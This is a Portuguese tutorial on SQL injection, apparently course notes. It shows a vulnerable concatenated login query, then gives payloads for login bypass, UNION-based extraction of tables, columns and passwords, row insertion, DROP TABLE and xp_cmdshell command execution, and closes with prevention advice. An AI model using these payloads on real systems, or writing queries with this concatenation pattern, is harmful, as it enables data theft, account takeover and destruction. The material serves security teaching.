SQL INJECTION

Definição

A injecção maliciosa de comandos SQL num SGBD através de uma aplicação.

Um ataque deste tipo pode:

  • Expor informação

  • Introduzir/alterar dados

  • Eliminar dados

  • Ganhar acesso a contas/privilégios de outros utilizadores

  • Denial-of-Service

  • Executar comandos no SO

Ameaça mais comum num SGBD

Como Funciona?

Exemplo (ASP .NET)

Form de Login de uma aplicação que tem associada uma query:

SELECT * FROM Login
WHERE username = ’Joe’
AND password = '123’

Se retornar algo => login!

GUI -> Imaginemos que a query é construída da seguinte forma:

SQLQuery = "SELECT * FROM Login where username= '" +
form_usr + "' AND password = '" + form_pwd + "'";

Strings – Injecting SQL

Se o utilizador introduzir os seguintes campos:

form_usr

' or 1=1 – –

form_pwd

< anything >

A query resultante seria:

SELECT * FROM Login
WHERE username = ' ' or 1=1
– – AND password = 'anything’

Repare no poder do caracter ’ na string... termina-a e o que vem a seguir é considerado comando SQL.

O resto da instrução SQL (programada) é cancelada com o --

E se o parâmetro for numérico...

SELECT * FROM customers WHERE id= 5 AND pin = 5432

Se o utilizador introduzir os seguintes campos:

form_id

3 or 1=1 – –

form_pin

< anything >

A query resultante seria:

SELECT * FROM customers
WHERE id = 3 or 1=1
– – AND pin = anything

Vai retornar todos os tuplos de customers...

Descobrindo nome da tabela e atributos

form_usr

blabla

form_pwd

' group by username --

A query resultante seria:

SELECT * FROM Login WHERE username = ’blabla’ AND password=‘’
group by username –-

Obter o nome das tabelas da BD

form_usr

xx' UNION SELECT TABLE_NAME, null, null FROM INFORMATION_SCHEMA.TABLES; --

form_pwd

blablabla

Explorando a UNION para obter outra informação:

  1. Temos de acertar no número de atributos (tentativa e erro)

  2. Provocar um erro de “matching” dos tipos dos atributos

SELECT * FROM Login WHERE username = 'xx' UNION SELECT TABLE_NAME,
null, null FROM INFORMATION_SCHEMA.TABLES; -- password='

Obter o nome das colunas da tabela

form_usr

xx' UNION SELECT COLUMN_NAME, null, null FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='vendor'; --

form_pwd

blablabla

Explorando a UNION para obter outra informação:

  1. Temos de acertar no número de atributos (tentativa e erro)

  2. Provocar um erro de “matching” dos tipos dos atributos

SELECT * FROM Login WHERE username = 'xx' UNION SELECT COLUMN_NAME, null, null
FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=‘Vendor’; --

Acesso a dados de tabelas

form_usr

xx' UNION SELECT TOP 1 username, null, null FROM login; --

form_pwd

blablabla

Continuando a explorar a UNION para obter outra informação:

SELECT * FROM Login WHERE username = 'xx' UNION SELECT TOP 1
username, null, null FROM login; --

Já temos os usernames... vamos tentar obter as passwords:

form_usr

xx' UNION SELECT password, null, null FROM login WHERE username=‘cc’; --

form_pwd

blablabla

Continuando a explorar a UNION para obter outra informação:

SELECT * FROM Login WHERE username = 'xx' UNION SELECT
username, null, null FROM login WHERE username=‘cc’; --

Inserir/Alterar Dados numa tabela

Inserindo novos registos na tabela Login:

form_usr

xx’; INSERT INTO Login Values (3, ‘Joao’, ‘toc-toc’); --

form_pwd

blablabla

Resultaria em duas instruções SQL:

SELECT * FROM Login WHERE username = 'xx’; INSERT INTO Login
Values (3, ‘Joao’, ‘toc-toc’); --

Eliminando Tabelas!

E se o utilizador tiver permissões para eliminar tabelas???

form_usr

xx’; DROP TABLE sales; --

form_pwd

blablabla

Resultaria em duas instruções SQL:

SELECT * FROM Login WHERE username = 'xx’; DROP TABLE sales; --

Falha a autenticação mas executa com sucesso a segunda instrução DDL...

Determinar o DB Login/User

Há várias funções escalares do SQL99 suportadas pelos SGBD:

  • user ou current_user

  • session_user

  • system_user

form_usr

xx' and 1 in (select user ) --

form_pwd

blablabla

Resultaria em duas instruções SQL:

SELECT * FROM Login WHERE username = 'xx' and 1 in (select user ) --

Execução de comandos do SO

Se o utilizador introduzir os seguintes campos:

form_usr

'; exec master..xp_cmdshell 'dir' – –

form_pwd

blablabla

A query resultante seria a execução de um comando na shell do SO*:

SELECT * FROM Login
WHERE username = ' '; exec master..xp_cmdshell ’dir’ --

Podemos construir uma batch (...;...;...;) que:

  • recolhe dados e envia para uma máquina remota

  • start/stop de serviços do SO

  • destrói dados

Como Prevenir?

Não confiar nos dados introduzidos pelo utilizador

  • Devemos validar toda a entrada de dados

Nunca utilizar SQL dinâmico

  • Utilizar SQL parametrizado ou Stored Procedures

Nunca conectar a DB com um conta administrador

  • Utilizar uma conta com privilégios limitados

Não armazenar informação sensível (passwords, etc) em texto simples

  • Utilizar processos de cifragem ou hash

Reduzir ao mínimo a apresentação de informação de erros

  • Utilizar informação de erros customizada

  • Não utilizar debug

Last updated